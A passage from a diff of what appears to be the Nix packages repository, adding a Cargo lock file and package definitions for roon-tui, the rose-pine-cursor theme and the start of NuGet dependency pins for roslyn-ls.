"registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" + +[[package]] +name = "pin-project-lite" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c40d25201921e5ff0c862a505c6557ea88568a4e3ace775ab55e93f2f4f9d57" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro2" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fe8a65d69dd0808184ebb5f836ab526bb259db23c657efa38711b1072ee47f0" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "ratatui" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5659e52e4ba6e07b2dad9f1158f578ef84a73762625ddb51536019f34d180eb" +dependencies = [ + "bitflags 2.3.3", + "cassowary", + "crossterm", + "indoc", + "itertools", + "lru", + "paste", + "stability", + "strum", + "unicode-segmentation", + "unicode-width", +] + +[[package]] +name = "redox_syscall" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "regex" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2eae68fc220f7cf2532e4494aded17545fce192d59cd996e0fe7887f4ceb575" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39354c10dd07468c2e73926b23bb9c2caca74c5501e38a35da70406f1d923310" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ea92a5b6195c6ef2a0295ea818b312502c6fc94dde986c5553242e18fd4ce2" + +[[package]] +name = "roon-api" +version = "0.1.1" +source = "git+https://github.com/TheAppgineer/rust-roon-api.git?tag=0.1.1#bae225136a9e20b013b95819736b3835a1974dd0" +dependencies = [ + "futures-util", + "if-addrs", + "log", + "regex", + "serde", + "serde_json", + "tokio", + "tokio-tungstenite", + "url", + "uuid", +] + +[[package]] +name = "roon-tui" +version = "0.3.0" +dependencies = [ + "any_ascii", + "chrono", + "clap", + "crossterm", + "eyre", + "log", + "rand", + "ratatui", + "roon-api", + "serde", + "serde_json", + "simplelog", + "time", + "tokio", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + +[[package]] +name = "scopeguard" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" + +[[package]] +name = "serde" +version = "1.0.190" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91d3c334ca1ee894a2c6f6ad698fe8c435b76d504b13d436f0685d648d6d96f7" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.190" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67c5609f394e5c2bd7fc51efda478004ea80ef42fee983d5c67a65e34f32c0e3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.38", +] + +[[package]] +name = "serde_json" +version = "1.0.103" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d03b412469450d4404fe8499a268edd7f8b79fecb074b0d812ad64ca21f4031b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "signal-hook" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801" +dependencies = [ + "libc", + "signal-hook-registry", +] + +[[package]] +name = "signal-hook-mio" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29ad2e15f37ec9a6cc544097b78a1ec90001e9f71b81338ca39f430adaca99af" +dependencies = [ + "libc", + "mio", + "signal-hook", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "simplelog" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acee08041c5de3d5048c8b3f6f13fafb3026b24ba43c6a695a0c76179b844369" +dependencies = [ + "log", + "termcolor", + "time", +] + +[[package]] +name = "slab" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe0f37c9e8f3c5a4a66ad655a93c74daac4ad00c441533bf5c6e7990bb42604e" + +[[package]] +name = "socket2" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "stability" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebd1b177894da2a2d9120208c3386066af06a488255caabc5de8ddca22dbc3ce" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290d54ea6f91c969195bdbcd7442c8c2a2ba87da8bf60a7ee86a235d4bc1e125" +dependencies = [ + "strum_macros", +] + +[[package]] +name = "strum_macros" +version = "0.25.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad8d03b598d3d0fff69bf533ee3ef19b8eeb342729596df84bcc7e1f96ec4059" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "rustversion", + "syn 2.0.38", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e96b79aaa137db8f61e26363a0c9b47d8b4ec75da28b7d1d614c2303e232408b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "termcolor" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "thiserror" +version = "1.0.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a35fc5b8971143ca348fa6df4f024d4d55264f3468c71ad1c2f365b0a4d58c42" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "463fe12d7993d3b327787537ce8dd4dfa058de32fc2b195ef3cde03dc4771e8f" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.38", +] + +[[package]] +name = "time" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4a34ab300f2dee6e562c10a046fc05e358b29f9bf92277f30c3c8d82275f6f5" +dependencies = [ + "deranged", + "itoa", + "libc", + "num_threads", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20" +dependencies = [ + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.29.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "532826ff75199d5833b9d2c5fe410f29235e25704ee5f0ef599fb51c21f4a4da" +dependencies = [ + "autocfg", + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.38", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c83b561d025642014097b66e6c1bb422783339e0909e4429cde4749d1990bc38" +dependencies = [ + "futures-util", + "log", + "tokio", + "tungstenite", +] + +[[package]] +name = "tungstenite" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ef1a641ea34f399a848dea702823bbecfb4c486f911735368f1f137cb8257e1" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand", + "sha1", + "thiserror", + "url", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" + +[[package]] +name = "unicode-bidi" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" + +[[package]] +name = "unicode-ident" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "unicode-width" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3" + +[[package]] +name = "url" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50bff7831e19200a85b17131d085c25d7811bc4e186efdaf54bbd132994a88cb" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "uuid" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79daa5ed5740825c40b389c5e50312b9c86df53fccd33f281df655642b43869d" +dependencies = [ + "getrandom", +] + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c53b543413a17a202f4be280a7e5c62a1c69345f5de525ee64f8cfdbc954994" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5491a68ab4500fa6b4d726bd67408630c3dbe9c4fe7bda16d5c82a1fd8c7340a" +dependencies = [ + "bumpalo", + "lazy_static", + "log", + "proc-macro2", + "quote", + "syn 1.0.109", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c441e177922bc58f1e12c022624b6216378e5febc2f0533e41ba443d505b80aa" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d94ac45fcf608c1f45ef53e748d35660f168490c10b23704c7779ab8f5c3048" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a89911bd99e5f3659ec4acf9c4d93b0a90fe4a2a11f15328472058edc5261be" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-core" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff" +dependencies = [ + "windows-targets 0.48.1", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.1", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f" +dependencies = [ + "windows_aarch64_gnullvm 0.48.0", + "windows_aarch64_msvc 0.48.0", + "windows_i686_gnu 0.48.0", + "windows_i686_msvc 0.48.0", + "windows_x86_64_gnu 0.48.0", + "windows_x86_64_gnullvm 0.48.0", + "windows_x86_64_msvc 0.48.0", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "zerocopy" +version = "0.7.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "092cd76b01a033a9965b9097da258689d9e17c69ded5dcf41bca001dd20ebc6d" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a13a20a7c6a90e2034bcc65495799da92efcec6a8dd4f3fcb6f7a48988637ead" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.38", +] diff --git a/pkgs/by-name/ro/roon-tui/package.nix b/pkgs/by-name/ro/roon-tui/package.nix new file mode 100644 index 0000000000000..fb0ed9f6e6817 --- /dev/null +++ b/pkgs/by-name/ro/roon-tui/package.nix @@ -0,0 +1,32 @@ +{ stdenv +, lib +, rustPlatform +, fetchFromGitHub +}: + +rustPlatform.buildRustPackage rec { + pname = "roon-tui"; + version = "0.3.0"; + + src = fetchFromGitHub { + owner = "TheAppgineer"; + repo = "roon-tui"; + rev = version; + hash = "sha256-rwZPUa6NyKs+jz0+JQC0kSrw0T/EL+ms2m+AzHvrI7o="; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "roon-api-0.1.1" = "sha256-aFcS8esfgMxzzhWLeynTRFp1FZj2z6aHIivU/5p+uec="; + }; + }; + + meta = { + description = "A Roon Remote for the terminal"; + homepage = "https://github.com/TheAppgineer/roon-tui"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ MichaelCDormann ]; + mainProgram = "roon-tui"; + }; +} diff --git a/pkgs/by-name/ro/rose-pine-cursor/package.nix b/pkgs/by-name/ro/rose-pine-cursor/package.nix new file mode 100644 index 0000000000000..812a52854afcd --- /dev/null +++ b/pkgs/by-name/ro/rose-pine-cursor/package.nix @@ -0,0 +1,38 @@ +{ lib +, stdenvNoCC +, fetchurl +}: + +stdenvNoCC.mkDerivation (finalAttrs: { + pname = "rose-pine-cursor"; + version = "1.1.0"; + + srcs = [ + (fetchurl { + url = "https://github.com/rose-pine/cursor/releases/download/v${finalAttrs.version}/BreezeX-RosePine-Linux.tar.xz"; + hash = "sha256-szDVnOjg5GAgn2OKl853K3jZ5rVsz2PIpQ6dlBKJoa8="; + }) + (fetchurl { + url = "https://github.com/rose-pine/cursor/releases/download/v${finalAttrs.version}/BreezeX-RosePineDawn-Linux.tar.xz"; + hash = "sha256-hanfwx9ooT1TbmcgCr63KVYwC1OIzTwjmxzi4Zjcrdg="; + }) + ]; + + sourceRoot = "."; + + installPhase = '' + runHook preInstall + mkdir -p $out/share/icons + cp -R BreezeX-RosePine-Linux $out/share/icons/ + cp -R BreezeX-RosePineDawn-Linux $out/share/icons/ + runHook postInstall + ''; + + meta = with lib; { + description = "Soho vibes for Cursors"; + downloadPage = "https://github.com/rose-pine/cursor/releases"; + homepage = "https://rosepinetheme.com/"; + license = licenses.gpl3; + maintainers = with maintainers; [ aikooo7 ]; + }; +}) diff --git a/pkgs/by-name/ro/roslyn-ls/deps.nix b/pkgs/by-name/ro/roslyn-ls/deps.nix new file mode 100644 index 0000000000000..de59d9ff468c5 --- /dev/null +++ b/pkgs/by-name/ro/roslyn-ls/deps.nix @@ -0,0 +1,224 @@ +# This file was automatically generated by passthru.fetch-deps. +# Please dont edit it manually, your changes might get overwritten! + +{ fetchNuGet }: [ + (fetchNuGet { pname = "dotnet-format"; version = "7.0.360304"; sha256 = "1kxsigz0adld1lnqx82nwkrmvi09i4qjz8adxwjqgbls2wi5ks2f"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/dotnet-format/7.0.360304/dotnet-format.7.0.360304.nupkg"; }) + (fetchNuGet { pname = "Humanizer.Core"; version = "2.14.1"; sha256 = "1ai7hgr0qwd7xlqfd92immddyi41j3ag91h3594yzfsgsy6yhyqi"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/humanizer.core/2.14.1/humanizer.core.2.14.1.nupkg"; }) + (fetchNuGet { pname = "ICSharpCode.Decompiler"; version = "8.1.1.7464"; sha256 = "1qyfqsv4gv0gnqy73pps10qfsvqm2jcwb5p8bj8zl8ch7gvxwpzg"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/icsharpcode.decompiler/8.1.1.7464/icsharpcode.decompiler.8.1.1.7464.nupkg"; }) + (fetchNuGet { pname = "MessagePack"; version = "2.5.108"; sha256 = "0cnaz28lhrdmavnxjkakl9q8p2yv8mricvp1b0wxdfnz8v41gwzs"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/messagepack/2.5.108/messagepack.2.5.108.nupkg"; }) + (fetchNuGet { pname = "MessagePack.Annotations"; version = "2.5.108"; sha256 = "0nb1fx8dwl7304kw0bc375bvlhb7pg351l4cl3vqqd7d8zqjwx5v"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/messagepack.annotations/2.5.108/messagepack.annotations.2.5.108.nupkg"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.Razor.ExternalAccess.RoslynWorkspace"; version = "7.0.0-preview.23525.7"; sha256 = "1vx5wl7rj85889xx8iaqvjw5rfgdfhpc22f6dzkpr3q7ngad6b21"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.aspnetcore.razor.externalaccess.roslynworkspace/7.0.0-preview.23525.7/microsoft.aspnetcore.razor.externalaccess.roslynworkspace.7.0.0-preview.23525.7.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Bcl.AsyncInterfaces"; version = "7.0.0"; sha256 = "1waiggh3g1cclc81gmjrqbh128kwfjky3z79ma4bd2ms9pa3gvfm"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.bcl.asyncinterfaces/7.0.0/microsoft.bcl.asyncinterfaces.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build"; version = "17.3.2"; sha256 = "17g4ka0c28l9v3pmf3i7cvic137h7zg6xqc78qf5j5hj7qbcps5g"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build/17.3.2/microsoft.build.17.3.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build"; version = "17.7.2"; sha256 = "18sa4d7yl2gb7hix4v7fkyk1xnr6h0lmav89riscn2ziscanfzlk"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.build/17.7.2/microsoft.build.17.7.2.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Build"; version = "17.9.0-preview-23551-05"; sha256 = 